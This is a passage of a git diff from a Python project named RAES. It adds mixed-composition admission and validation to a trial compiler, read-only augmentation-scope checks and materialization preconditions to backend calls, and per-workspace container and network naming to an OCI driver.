TrialExecutionAuthorityModel, ) +from raes_contracts.contracts.mixed_composition import ( + MixedCompositionValidationLimits, + MixedParticipantCompositionProfileModel, +) +from raes_contracts.contracts.mixed_composition_resolution import MixedCompositionResolutionContext from raes_contracts.diagnostics import Diagnostic from raes_contracts.experiment_bindings import ( ApparatusManifest, @@ -28,6 +36,16 @@ from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel +@dataclass(frozen=True) +class _EntryCompilationAuthority: + """Per-entry authorities selected once for a compiler invocation.""" + + descriptors: Mapping[str, ExperimentBindingDescriptorModel] | None + observations_by_profile: Mapping[str, tuple[ObservationCapabilities | None, ...]] + apparatus_manifests_by_profile: Mapping[str, Mapping[ApparatusManifestKey, ApparatusManifest]] + participant_manifests: Mapping[ParticipantManifestKey, ParticipantImplementationManifestModel] + + @dataclass(frozen=True) class TrialCompilationRequest: """All typed, already acquired authority required by the pure compiler.""" @@ -40,6 +58,12 @@ class TrialCompilationRequest: realization_envelope: BackendRealizationEnvelopeModel execution_authority: TrialExecutionAuthorityModel apparatus_manifests: Mapping[ApparatusManifestKey, ApparatusManifest] + realization_assignments: Mapping[str, AdmittedMixedCompositionBindingModel] = field(default_factory=dict) + mixed_profiles: Mapping[str, MixedParticipantCompositionProfileModel] = field(default_factory=dict) + mixed_profile_contexts: Mapping[str, MixedCompositionResolutionContext] = field(default_factory=dict) + mixed_realization_envelopes: Mapping[str, BackendRealizationEnvelopeModel] = field(default_factory=dict) + source_plans: Mapping[str, AdmittedTrialPlanModel] = field(default_factory=dict) + mixed_composition_limits: MixedCompositionValidationLimits = field(default_factory=MixedCompositionValidationLimits) capture_specs: Mapping[str, ExperimentCaptureSpecModel] = field(default_factory=dict) participant_manifests: Mapping[ParticipantManifestKey, ParticipantImplementationManifestModel] = field( default_factory=dict @@ -66,6 +90,12 @@ def with_experiment(self, experiment: ExperimentSpecModel) -> TrialCompilationRe realization_envelope=self.realization_envelope, execution_authority=self.execution_authority, apparatus_manifests=self.apparatus_manifests, + realization_assignments=self.realization_assignments, + mixed_profiles=self.mixed_profiles, + mixed_profile_contexts=self.mixed_profile_contexts, + mixed_realization_envelopes=self.mixed_realization_envelopes, + source_plans=self.source_plans, + mixed_composition_limits=self.mixed_composition_limits, capture_specs=self.capture_specs, participant_manifests=self.participant_manifests, limits=self.limits, @@ -90,6 +120,12 @@ def with_family(self, family: ExpandedScenario) -> TrialCompilationRequest: realization_envelope=self.realization_envelope, execution_authority=self.execution_authority, apparatus_manifests=self.apparatus_manifests, + realization_assignments=self.realization_assignments, + mixed_profiles=self.mixed_profiles, + mixed_profile_contexts=self.mixed_profile_contexts, + mixed_realization_envelopes=self.mixed_realization_envelopes, + source_plans=self.source_plans, + mixed_composition_limits=self.mixed_composition_limits, capture_specs=self.capture_specs, participant_manifests=self.participant_manifests, limits=self.limits, diff --git a/implementations/python/packages/raes_processor/trial_compiler/profiles.py b/implementations/python/packages/raes_processor/trial_compiler/profiles.py index 3e185baf6..fb697c22a 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/profiles.py +++ b/implementations/python/packages/raes_processor/trial_compiler/profiles.py @@ -18,20 +18,25 @@ ) IDENTITY_DOMAIN: Final = "raes-trial-compiler-identity-v1" +MIXED_IDENTITY_DOMAIN: Final = "raes-trial-compiler-mixed-composition-identity-v1" RANDOM_STREAM_PROFILE_ID: Final = "blake3-xof-v1" RANDOM_STREAM_PROFILE_VERSION: Final = RANDOM_STREAM_PROFILE_SCHEMA_VERSION -def admitted_profiles() -> AdmittedTrialPlanProfilesModel: +def admitted_profiles(*, mixed_composition: bool = False) -> AdmittedTrialPlanProfilesModel: """Return the single exact profile set implemented by this compiler.""" return AdmittedTrialPlanProfilesModel( coordinate_profile="trial-coordinate-v1", - entry_identity_profile="trial-entry-identity-v1", - run_identity_profile="archival-run-identity-v1", + entry_identity_profile=( + "trial-entry-identity-mixed-composition-v1" if mixed_composition else "trial-entry-identity-v1" + ), + run_identity_profile=( + "archival-run-identity-mixed-composition-v1" if mixed_composition else "archival-run-identity-v1" + ), canonicalization_profile="jcs-sha256-v1", integrity_profile="acyclic-digest-chain-v1", - compiler_profile="trial-compiler-v1", + compiler_profile=("trial-compiler-mixed-composition-v1" if mixed_composition else "trial-compiler-v1"), selection_policy_profile="experiment-selection-v1", random_stream_profile=RANDOM_STREAM_PROFILE_ID, execution_control_profile="attempt-control-v1", @@ -54,11 +59,17 @@ def coordinate_projection(coordinate: TrialCoordinateModel) -> dict[str, str]: return coordinate.model_dump(mode="json", exclude_none=True) -def derive_identity(kind: str, projection: object) -> str: +def realization_assignment_key(coordinate: TrialCoordinateModel) -> str: + """Return the stable key used for an exact coordinate realization assignment.""" + + return canonical_json_bytes(coordinate_projection(coordinate)).decode("utf-8") + + +def derive_identity(kind: str, projection: object, *, mixed_composition: bool = False) -> str: """Derive one domain-separated JCS/SHA-256 portable identity.""" material = { - "domain": IDENTITY_DOMAIN, + "domain": MIXED_IDENTITY_DOMAIN if mixed_composition else IDENTITY_DOMAIN, "kind": kind, "projection": projection, } @@ -73,6 +84,7 @@ def derive_identity(kind: str, projection: object) -> str: "derive_identity", "RANDOM_STREAM_PROFILE_ID", "RANDOM_STREAM_PROFILE_VERSION", + "realization_assignment_key", "replicate_id", "replicate_ordinal", ] diff --git a/implementations/python/packages/raes_processor/trial_compiler/realization_admission.py b/implementations/python/packages/raes_processor/trial_compiler/realization_admission.py new file mode 100644 index 000000000..67266e358 --- /dev/null +++ b/implementations/python/packages/raes_processor/trial_compiler/realization_admission.py @@ -0,0 +1,381 @@ +"""Selected-scenario and mixed-composition admission for trial compilation.""" + +from __future__ import annotations + +from dataclasses import dataclass + +from raes import ( + InstantiatedScenario, + canonical_instantiated_sdl_digest, + select_scenario_family, +) +from raes.realization_envelope import member +from raes_contracts.admitted_trial_plan_ingress import revalidate_admitted_trial_plan +from raes_contracts.contracts import ( + AdmittedMixedCompositionBindingModel, + AdmittedTrialEntryModel, + AdmittedTrialPlanModel, + AdmittedTrialSourceReferenceModel, + BackendManifestV2Model, + ParticipantImplementationManifestModel, + TrialCoordinateModel, +) +from raes_contracts.contracts.mixed_composition import MixedParticipantCompositionProfileModel +from raes_contracts.contracts.mixed_composition_resolution import ( + MixedCompositionResolutionContext, + resolve_mixed_composition_profiles, +) +from raes_contracts.experiment_bindings import ( + ApparatusManifest, + ApparatusManifestKey, + ParticipantManifestKey, +) + +from .apparatus import ( + apparatus_manifest_key, + validate_composition_components, + validate_selected_participant_manifests, +) +from .models import CompilationFailure, TrialCompilationRequest +from .policies import CoordinateSelections +from .profiles import realization_assignment_key + +_ENTRIES_ADDRESS = "/entries/" +_REALIZATION_ASSIGNMENTS_ADDRESS = "/realization_assignments" + + +@dataclass(frozen=True) +class MixedCompositionAuthority: + """Exact authority admitted across every reachable mixed profile.""" + + apparatus_manifests_by_root: dict[str, dict[ApparatusManifestKey, ApparatusManifest]] + participant_manifests: dict[ParticipantManifestKey, ParticipantImplementationManifestModel] + backend_manifests_by_root: dict[str, tuple[BackendManifestV2Model, ...]] + + +def _fail(code: str, address: str, message: str) -> CompilationFailure: + return CompilationFailure(code, address, message) + + +def validate_selected_scenario( + request: TrialCompilationRequest, + row: CoordinateSelections, + coordinate: TrialCoordinateModel, +) -> InstantiatedScenario: + """Reconstruct and admit the complete scenario selected for one coordinate.""" + + outcomes = {selection.point_id: selection.outcome for selection in row.selections} + try: + selected = select_scenario_family(request.family, outcomes) + except (TypeError, ValueError) as exc: + raise _fail( + "selected-scenario-rejected", + _ENTRIES_ADDRESS + (coordinate.replicate_id or "coordinate"), + "the complete selection failed SDL-owned whole-scenario admission", + ) from exc + if request.realization_assignments.get(realization_assignment_key(coordinate)) is None: + envelope_result = member(selected, request.realization_envelope.expression) + if not envelope_result.holds: + raise _fail( + "realization-envelope-membership-rejected", + _ENTRIES_ADDRESS + (coordinate.replicate_id or "coordinate"), + "the selected scenario is outside the admitted realization envelope", + ) + return selected + + +def _validate_mixed_resources( + request: TrialCompilationRequest, + context: MixedCompositionResolutionContext, + profile_id: str, +) -> None: + required = context.resource_refs.get(profile_id) + if required is None: + raise _fail( + "composition-resource-coverage-unresolved", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "composition cleanup and isolation resource coverage is unresolved", + ) + covered = { + resource + for boundary in request.execution_authority.cleanup.resource_boundaries.values() + for resource in boundary.resource_refs + } + if not required.issubset(covered): + raise _fail( + "composition-resource-coverage-missing", + "/execution_authority/cleanup", + "composition cleanup omits a resource reachable in an admitted phase", + ) + + +def _profile_work(profile: MixedParticipantCompositionProfileModel) -> int: + return ( + len(profile.components) + + len(profile.allocations) + + len(profile.edges) + + len(profile.phases) + + len(profile.transitions) + + len(profile.nested_profile_refs) + + sum(len(allocation.feature_requirements) for allocation in profile.allocations.values()) + + sum(len(edge.evidence_bindings) for edge in profile.edges.values()) + + sum(len(phase.evidence_bindings) for phase in profile.phases.values()) + + sum(len(transition.evidence_bindings) for transition in profile.transitions.values()) + ) + + +def _resolve_profile_closure( + request: TrialCompilationRequest, + profile: MixedParticipantCompositionProfileModel, +) -> tuple[MixedCompositionResolutionContext, tuple[MixedParticipantCompositionProfileModel, ...]]: + context = request.mixed_profile_contexts.get(profile.profile_id) + if context is None: + raise _fail( + "composition-context-missing", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "composition profile trusted resolution context is missing", + ) + try: + profiles = resolve_mixed_composition_profiles( + profile, + context, + limits=request.mixed_composition_limits, + require_trial_admission=True, + ) + except ValueError as exc: + raise _fail( + "composition-context-rejected", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "composition profile failed trusted contextual admission", + ) from exc + return context, profiles + + +def _validate_profile_apparatus( + request: TrialCompilationRequest, + profile: MixedParticipantCompositionProfileModel, +) -> dict[str, ApparatusManifest]: + return validate_composition_components( + profile.components, + request.apparatus_manifests, + request.mixed_realization_envelopes, + intent=request.experiment.apparatus_intent, + ) + + +def _profile_closures( + request: TrialCompilationRequest, +) -> tuple[ + dict[str, MixedParticipantCompositionProfileModel], + list[ + tuple[ + str, + MixedCompositionResolutionContext, + tuple[MixedParticipantCompositionProfileModel, ...], + ] + ], +]: + admitted_profiles: dict[str, MixedParticipantCompositionProfileModel] = {} + closures: list[ + tuple[ + str, + MixedCompositionResolutionContext, + tuple[MixedParticipantCompositionProfileModel, ...], + ] + ] = [] + for root_id, root in sorted(request.mixed_profiles.items()): + context, profiles = _resolve_profile_closure(request, root) + for profile in profiles: + prior = admitted_profiles.get(profile.profile_id) + if prior is not None and prior != profile: + raise _fail( + "composition-profile-identity-conflict", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "one composition profile identity resolves to conflicting payloads", + ) + admitted_profiles[profile.profile_id] = profile + closures.append((root_id, context, profiles)) + return admitted_profiles, closures + + +def _validate_profile_limits( + request: TrialCompilationRequest, + admitted_profiles: dict[str, MixedParticipantCompositionProfileModel], +) -> None: + if len(admitted_profiles) > request.limits.max_mixed_profiles: + raise _fail( + "mixed-profile-limit-exceeded", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "reachable mixed composition profiles exceed the compilation limit", + ) + if sum(_profile_work(profile) for profile in admitted_profiles.values()) > request.limits.max_mixed_context_work: + raise _fail( + "mixed-context-work-limit-exceeded", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "reachable mixed composition contextual work exceeds the compilation limit", + ) + + +def _admit_profile_apparatus( + request: TrialCompilationRequest, + closures: list[ + tuple[ + str, + MixedCompositionResolutionContext, + tuple[MixedParticipantCompositionProfileModel, ...], + ] + ], +) -> tuple[ + dict[str, dict[ApparatusManifestKey, ApparatusManifest]], + dict[str, tuple[BackendManifestV2Model, ...]], +]: + apparatus_manifests_by_root: dict[str, dict[ApparatusManifestKey, ApparatusManifest]] = {} + backends_by_root: dict[str, tuple[BackendManifestV2Model, ...]] = {} + for root_id, context, profiles in closures: + root_manifests: dict[ApparatusManifestKey, ApparatusManifest] = {} + root_backends: list[BackendManifestV2Model] = [] + for profile in profiles: + selected = _validate_profile_apparatus(request, profile) + _validate_mixed_resources(request, context, profile.profile_id) + for component_id, manifest in sorted(selected.items()): + key = apparatus_manifest_key(profile.components[component_id].manifest_ref) + root_manifests[key] = manifest + if isinstance(manifest, BackendManifestV2Model): + root_backends.append(manifest) + apparatus_manifests_by_root[root_id] = root_manifests + backends_by_root[root_id] = tuple(root_backends) + return apparatus_manifests_by_root, backends_by_root + + +def validate_mixed_authority(request: TrialCompilationRequest) -> MixedCompositionAuthority: + """Admit only exact participant and reachable component authority.""" + + participant_manifests = validate_selected_participant_manifests(request) + admitted_profiles, closures = _profile_closures(request) + _validate_profile_limits(request, admitted_profiles) + apparatus_manifests_by_root, backends_by_root = _admit_profile_apparatus(request, closures) + return MixedCompositionAuthority( + apparatus_manifests_by_root=apparatus_manifests_by_root, + participant_manifests=participant_manifests, + backend_manifests_by_root=backends_by_root, + ) + + +def _revalidate_source_plan( + request: TrialCompilationRequest, + source_ref: AdmittedTrialSourceReferenceModel, +) -> AdmittedTrialPlanModel: + source = request.source_plans.get(source_ref.plan_id) + if source is None: + raise _fail( + "composition-source-plan-unresolved", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source plan is unresolved", + ) + try: + admitted = revalidate_admitted_trial_plan(source) + except ValueError as exc: + raise _fail( + "composition-source-plan-invalid", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source plan failed closed reconstruction", + ) from exc + return admitted + + +def _resolve_source_entry( + admitted: AdmittedTrialPlanModel, + source_ref: AdmittedTrialSourceReferenceModel, +) -> AdmittedTrialEntryModel: + entry = admitted.entries.get(source_ref.plan_entry_id) + if ( + admitted.plan_id != source_ref.plan_id + or admitted.plan_digest != source_ref.plan_digest + or entry is None + or entry.entry_digest != source_ref.entry_digest + or entry.run_id != source_ref.run_id + ): + raise _fail( + "composition-source-trial-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source tuple does not match the sealed source plan", + ) + return entry + + +def _validate_source_inputs(request: TrialCompilationRequest, admitted: AdmittedTrialPlanModel) -> None: + if ( + admitted.input_refs.authoring_input_ref != request.input_refs.authoring_input_ref + or admitted.input_refs.task_ref != request.input_refs.task_ref + or admitted.input_refs.task_digest != request.input_refs.task_digest + or admitted.input_refs.scenario_family_ref != request.input_refs.scenario_family_ref + ): + raise _fail( + "composition-source-input-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source does not bind the same authoring, task, and scenario-family inputs", + ) + + +def _source_scenario(request: TrialCompilationRequest, entry: AdmittedTrialEntryModel) -> InstantiatedScenario: + source_outcomes = {selection.variation_point_id: selection.outcome for selection in entry.selections} + try: + source_selected = select_scenario_family(request.family, source_outcomes) + except (TypeError, ValueError) as exc: + raise _fail( + "composition-source-selection-invalid", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source selection failed scenario admission", + ) from exc + return source_selected + + +def _validate_mixed_source( + request: TrialCompilationRequest, + binding: AdmittedMixedCompositionBindingModel, + selected: InstantiatedScenario, +) -> None: + source_ref = binding.source_trial + if source_ref is None: + return + admitted = _revalidate_source_plan(request, source_ref) + entry = _resolve_source_entry(admitted, source_ref) + _validate_source_inputs(request, admitted) + source_selected = _source_scenario(request, entry) + if canonical_instantiated_sdl_digest(source_selected) != canonical_instantiated_sdl_digest(selected): + raise _fail( + "composition-source-selection-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "linked realization source does not bind the same admitted scenario selection", + ) + + +def validate_mixed_realization( + request: TrialCompilationRequest, + binding: AdmittedMixedCompositionBindingModel, + selected: InstantiatedScenario, +) -> None: + """Validate one coordinate's exact mixed-composition realization.""" + + profile = request.mixed_profiles[binding.profile_ref.ref_id] + selected_digest = canonical_instantiated_sdl_digest(selected).value + if profile.scenario_snapshot_ref.ref_digest != selected_digest: + raise _fail( + "composition-scenario-snapshot-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "composition profile scenario snapshot does not match the selected scenario", + ) + context, profiles = _resolve_profile_closure(request, profile) + for reachable in profiles: + if reachable.scenario_snapshot_ref.ref_digest != selected_digest: + raise _fail( + "composition-scenario-snapshot-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "a reachable composition profile scenario snapshot does not match the selected scenario", + ) + _validate_profile_apparatus(request, reachable) + _validate_mixed_resources(request, context, reachable.profile_id) + _validate_mixed_source(request, binding, selected) + + +__all__ = ["validate_mixed_authority", "validate_mixed_realization", "validate_selected_scenario"] diff --git a/implementations/python/packages/raes_processor/trial_realization.py b/implementations/python/packages/raes_processor/trial_realization.py index 551a00840..bc2d79463 100644 --- a/implementations/python/packages/raes_processor/trial_realization.py +++ b/implementations/python/packages/raes_processor/trial_realization.py @@ -23,6 +23,7 @@ from raes_contracts.artifact_requirements import ArtifactAvailabilityContext from raes_contracts.canonical import canonical_json_digest from raes_contracts.contracts import ( + AdmittedMixedCompositionBindingModel, AdmittedTrialPlanModel, BackendManifestV2Model, EvaluationPlanModel, @@ -44,7 +45,7 @@ from raes_contracts.planning import PlanScope from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel -from .capture_admission import compile_capture_spec_demands +from .capture_admission import compile_scoped_evidence_requirement_demands from .compiler import compile_scenario_runtime_model from .models import ExecutionPlan from .planner import plan as build_execution_plan @@ -259,6 +260,8 @@ def realize_admitted_trial_entry( entry = admitted_plan.entries.get(plan_entry_id) if entry is None: raise ValueError("plan_entry_id does not resolve inside the admitted plan") + if isinstance(entry.apparatus, AdmittedMixedCompositionBindingModel): + raise ValueError("mixed-composition runtime coordination is not implemented") _validate_experiment_and_task(admitted_plan, inputs.experiment, inputs.task) _validate_capture_specs( admitted_plan, @@ -282,11 +285,17 @@ def realize_admitted_trial_entry( family=inputs.family, ) runtime_model = compile_scenario_runtime_model(instantiated) + relations = ( + *inputs.task.evidence_requirement_relations, + *inputs.experiment.run_plan.evidence_requirement_relations, + ) runtime_model = replace( runtime_model, - capture_demands=( - *runtime_model.capture_demands, - *compile_capture_spec_demands(tuple(inputs.capture_specs.values())), + capture_demands=compile_scoped_evidence_requirement_demands( + instantiated, + tuple(inputs.capture_specs.values()), + relations, + relation_scenario=inputs.family, ), ) execution_plan = build_execution_plan( diff --git a/implementations/python/packages/raes_reference_backend/drivers/oci.py b/implementations/python/packages/raes_reference_backend/drivers/oci.py index 51eed628b..fab58f006 100644 --- a/implementations/python/packages/raes_reference_backend/drivers/oci.py +++ b/implementations/python/packages/raes_reference_backend/drivers/oci.py @@ -110,6 +110,17 @@ def __init__( # transaction, rather than trusting a stale RAES address/name mapping. self._native_ids: dict[str, str] = {} + def _resource_name(self, address: str) -> str: + """Derive this run's native name for *address*. + + The workspace is the run namespace, so two concurrent runs realizing the + same address never contend for one native container or network name. The + readable head still names the address, and ownership is still proven by + the labels, never by the name. + """ + + return provider_resource_name(address, prefix="raes", namespace=self._workspace) + def _label_args(self, address: str) -> list[str]: return [ "--label", @@ -211,7 +222,7 @@ def _realize_networks( ) -> list[NetworkHandle]: handles: list[NetworkHandle] = [] for spec in networks: - runtime_name = provider_resource_name(spec.address, prefix="raes") + runtime_name = self._resource_name(spec.address) argv = [self._runtime, "network", "create", *self._label_args(spec.address), runtime_name] ok, kind = self._run(argv) if ok: @@ -237,7 +248,7 @@ def _realize_containers( if not self._image_policy.permits(image): diagnostics.append(self._image_rejected(spec.address)) continue - runtime_name = provider_resource_name(spec.address, prefix="raes") + runtime_name = self._resource_name(spec.address) argv = self._container_run_argv(spec, runtime_name=runtime_name, image=image) ok, kind, native_stdout = self._invoke(argv) if ok: @@ -399,7 +410,7 @@ def _rollback( self.destroy(networks=realized_networks, containers=realized_containers) def _name_for(self, address: str) -> str: - return self._names.get(address, provider_resource_name(address, prefix="raes")) + return self._names.get(address, self._resource_name(address)) def destroy( self, diff --git a/implementations/python/packages/raes_reference_backend/manifest.py b/implementations/python/packages/raes_reference_backend/manifest.py index 444db69ba..9273dba5c 100644 --- a/implementations/python/packages/raes_reference_backend/manifest.py +++ b/implementations/python/packages/raes_reference_backend/manifest.py @@ -43,6 +43,7 @@ ) from raes_contracts.manifest_authority import BACKEND_SUPPORTED_CONTRACT_IDS from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel +from raes_contracts.versions import BACKEND_OPERATION_CONTRACT_IDS from raes_contracts.vocabulary import ( ParticipantFeatureSupportLevel, RealizationSupportMode, @@ -55,6 +56,8 @@ REFERENCE_BACKEND_SUPPORTED_CONTRACT_VERSIONS = frozenset( contract_id for contract_id in BACKEND_SUPPORTED_CONTRACT_IDS + if contract_id not in BACKEND_OPERATION_CONTRACT_IDS + if contract_id not in {"backend-materialization-attestation-v1", "backend-augmentation-scope-v1"} if contract_id not in {"experiment-binding-descriptors-v1", "backend-realization-preparation-v1", "plan-realization-profiles-v1"} ) diff --git a/implementations/python/packages/raes_runtime/__init__.py b/implementations/python/packages/raes_runtime/__init__.py index 8fe092c24..4f9493fa7 100644 --- a/implementations/python/packages/raes_runtime/__init__.py +++ b/implementations/python/packages/raes_runtime/__init__.py @@ -1,7 +1,18 @@ """Live runtime control surfaces for RAES SDL.""" from .control_plane import RuntimeControlPlane +from .control_plane_profiles import ( + ControlPlaneActorBoundary, + ControlPlaneCapability, + ControlPlaneClaim, + ControlPlaneProfile, + ControlPlaneProfileDeclaration, + ControlPlaneStoreCapabilities, + RecoveryObservationRequirement, + profile_declaration, +) from .manager import RuntimeManager +from .mixed_runtime import MixedPhaseTransitionEvaluation, MixedRuntimeBinding, MixedRuntimeComponent from .registry import BackendRegistry, RuntimeTarget, RuntimeTargetComponents, RuntimeTargetDescriptor from .runtime_fact_bindings import ( RuntimeFactActionDisposition, @@ -13,6 +24,13 @@ __all__ = [ "BackendRegistry", + "ControlPlaneActorBoundary", + "ControlPlaneCapability", + "ControlPlaneClaim", + "ControlPlaneProfile", + "ControlPlaneProfileDeclaration", + "ControlPlaneStoreCapabilities", + "RecoveryObservationRequirement", "RuntimeControlPlane", "RuntimeFactActionDisposition", "RuntimeFactBindingAdmission", @@ -20,7 +38,11 @@ "RuntimeFactBindingResult", "RuntimeFactDispatchCommand", "RuntimeManager", + "MixedPhaseTransitionEvaluation", + "MixedRuntimeBinding", + "MixedRuntimeComponent", "RuntimeTarget", "RuntimeTargetComponents", "RuntimeTargetDescriptor", + "profile_declaration", ] diff --git a/implementations/python/packages/raes_runtime/backend_augmentation.py b/implementations/python/packages/raes_runtime/backend_augmentation.py new file mode 100644 index 000000000..8b0fca1cb --- /dev/null +++ b/implementations/python/packages/raes_runtime/backend_augmentation.py @@ -0,0 +1,125 @@ +"""Pure scope admission at the common backend invocation boundary.""" + +from __future__ import annotations + +from collections.abc import Callable +from copy import deepcopy +from dataclasses import replace +from typing import TYPE_CHECKING + +from raes_contracts.augmentation_scope import AUGMENTATION_SCOPE_CONTRACT +from raes_contracts.diagnostics import Diagnostic +from raes_contracts.json_ingress import parse_bounded_json_object +from raes_contracts.materialization import MATERIALIZATION_MAX_BYTES +from raes_processor.planner.augmentation_admission import ( + AugmentationAdmission, + admit_augmentation_preparation, + compose_augmentation_admission, +) + +from .backend_realization_authority import _RealizationApplyContext + +if TYPE_CHECKING: + from raes_backend_protocols.capabilities import BackendManifest + from raes_contracts.materialization import MaterializationArchive + from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan + from raes_contracts.runtime_state import RuntimeSnapshot + +_SCOPE_ADDRESS = "/augmentation_scope" + + +def compose_augmentation_invocation( + context: _RealizationApplyContext, + previous: RuntimeSnapshot, + archive: MaterializationArchive | None, + *, + preceding: AugmentationAdmission | None = None, +) -> tuple[_RealizationApplyContext, list[Diagnostic]]: + """Retain prior producer ownership in the common cumulative SDL expectation.""" + if context.augmentation is None or not context.augmentation.is_valid: + return context, [] + try: + admitted = compose_augmentation_admission( + context.augmentation, + context.operation_plan, + previous, + archive, + preceding=preceding.cumulative_content if preceding is not None else None, + ) + return replace(context, augmentation=admitted), [] + except Exception: + return context, [ + Diagnostic( + code="augmentation.composition-invalid", + domain="augmentation", + address=_SCOPE_ADDRESS, + message=( + "Prospective effects cannot be composed with authenticated prior producer effects; " + "this invocation attempted no mutation." + ), + ) + ] + + +def prepare_augmentation_invocation( + method: Callable[..., object] | None, previous: RuntimeSnapshot, context: _RealizationApplyContext +) -> tuple[_RealizationApplyContext, list[Diagnostic]]: + """No producer callback may mutate while discovering its prospective effects.""" + manifest, request = context.manifest, context.operation_plan + if request is None or manifest is None or AUGMENTATION_SCOPE_CONTRACT not in manifest.supported_contract_versions: + return context, [] + prepare = getattr(getattr(method, "__self__", None), "prepare_augmentation", None) + try: + if not callable(prepare): + raise ValueError("missing pure augmentation preparation") + report = prepare(deepcopy(request), deepcopy(previous)) + admitted = admit_augmentation_preparation(report, request, manifest, previous) + expected = context.expected_augmentation + if expected is not None and ( + report.effects != expected.effects + or parse_bounded_json_object(report.content, max_bytes=MATERIALIZATION_MAX_BYTES) + != parse_bounded_json_object(expected.content, max_bytes=MATERIALIZATION_MAX_BYTES) + ): + raise ValueError("producer changed its whole-run prospective effects") + except Exception: + return context, [ + Diagnostic( + code="augmentation.preparation-invalid", + domain="augmentation", + address=_SCOPE_ADDRESS, + message=( + "Backend cannot provide a complete, bound read-only augmentation preparation; " + "this invocation attempted no mutation." + ), + ) + ] + return replace(context, augmentation=admitted), list(admitted.diagnostics) + + +def prepare_auxiliary_augmentation( + producer: object, + request: ProvisioningPlan | OrchestrationPlan | EvaluationPlan, + manifest: BackendManifest | None, + previous: RuntimeSnapshot, +) -> list[Diagnostic]: + """Hooks without an attested materialization boundary must be out-of-world.""" + if manifest is None or AUGMENTATION_SCOPE_CONTRACT not in manifest.supported_contract_versions: + return [] + # Only the method owner matters here; preparation never invokes collect/initialize. + method = getattr(producer, "prepare_augmentation", None) + context, diagnostics = prepare_augmentation_invocation( + method, previous, _RealizationApplyContext(operation_plan=request, manifest=manifest) + ) + if not diagnostics and context.augmentation.preparation.effects: + diagnostics = [ + Diagnostic( + code="augmentation.phase-unattested", + domain="augmentation", + address=_SCOPE_ADDRESS, + message=( + "This hook needs in-world effects without an attested materialization boundary; " + "materialize its apparatus in an admitted plan phase first." + ), + ) + ] + return diagnostics diff --git a/implementations/python/packages/raes_runtime/backend_calls.py b/implementations/python/packages/raes_runtime/backend_calls.py index a18f760e0..627e39d92 100644 --- a/implementations/python/packages/raes_runtime/backend_calls.py +++ b/implementations/python/packages/raes_runtime/backend_calls.py @@ -7,6 +7,7 @@ from pydantic import BaseModel from raes_contracts.contracts import ParticipantInformationStateContextResolver from raes_contracts.diagnostics import Diagnostic +from raes_contracts.materialization import MaterializationArchive from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot from .backend_account_credentials import ( @@ -14,10 +15,12 @@ value_free_backend_diagnostics, ) from .backend_apply_results import _finalize_backend_apply +from .backend_augmentation import compose_augmentation_invocation, prepare_augmentation_invocation from .backend_call_contracts import ( _materialize_diagnostics, ) from .backend_input_contracts import backend_input_violation +from .backend_materialization import finalize_materialization, materialization_precondition from .backend_preparation import prepare_backend_invocation from .backend_realization_authority import ( _apply_authority_diagnostics, @@ -38,6 +41,7 @@ class _BackendCallContext: operation_id: str | None = None information_state_context_resolver: ParticipantInformationStateContextResolver | None = None service_dependencies: tuple[object, ...] = () + materialization_archive: MaterializationArchive | None = None def _call_backend_diagnostics( @@ -75,15 +79,25 @@ def _prepared_backend_result( args, realization, diagnostics = prepare_backend_invocation(method, args, baseline_snapshot, realization) if args is None: return ApplyResult(False, baseline_snapshot, diagnostics=diagnostics) - result = _invoke_backend_apply( - method, - args, - address=address, - snapshot=snapshot, - baseline_snapshot=baseline_snapshot, - realization=deepcopy(realization), - call=call, + realization, scope_diagnostics = prepare_augmentation_invocation(method, baseline_snapshot, realization) + diagnostics = [*diagnostics, *scope_diagnostics] + if scope_diagnostics: + return ApplyResult(False, baseline_snapshot, diagnostics=diagnostics) + realization, composition_diagnostics = compose_augmentation_invocation( + realization, baseline_snapshot, call.materialization_archive ) + if composition_diagnostics: + result = ApplyResult(False, baseline_snapshot, diagnostics=composition_diagnostics) + else: + result = _invoke_backend_apply( + method, + args, + address=address, + snapshot=snapshot, + baseline_snapshot=baseline_snapshot, + realization=deepcopy(realization), + call=call, + ) result.diagnostics = [*diagnostics, *result.diagnostics] return result @@ -105,18 +119,22 @@ def _call_backend_apply( return _failed_apply_result(snapshot, _backend_contract_invalid(address, invalid)) args, realization_context = _bind_submitted_plan(args, realization_context, call_context.operation_id) baseline_snapshot = deepcopy(snapshot) + if invalid := materialization_precondition(realization_context, call_context.materialization_archive): + return _failed_apply_result(baseline_snapshot, _backend_contract_invalid(address, invalid)) authority_diagnostics = _apply_authority_diagnostics(realization_context, address) if authority_diagnostics: - return ApplyResult(success=False, snapshot=baseline_snapshot, diagnostics=authority_diagnostics) - return _prepared_backend_result( - method, - args, - address=address, - snapshot=snapshot, - baseline_snapshot=baseline_snapshot, - realization=realization_context, - call=call_context, - ) + result = ApplyResult(success=False, snapshot=baseline_snapshot, diagnostics=authority_diagnostics) + else: + result = _prepared_backend_result( + method, + args, + address=address, + snapshot=snapshot, + baseline_snapshot=baseline_snapshot, + realization=realization_context, + call=call_context, + ) + return result def _invoke_backend_apply( @@ -162,13 +180,14 @@ def _validated_backend_result( """Finalize a backend result, refusing anything that cannot be validated.""" try: - return _finalize_backend_apply( + accepted = _finalize_backend_apply( result, address=address, baseline_snapshot=baseline_snapshot, realization=realization, information_state_context_resolver=call.information_state_context_resolver, ) + return finalize_materialization(result, accepted, realization, baseline_snapshot, call.materialization_archive) except Exception: return _failed_apply_result( baseline_snapshot, diff --git 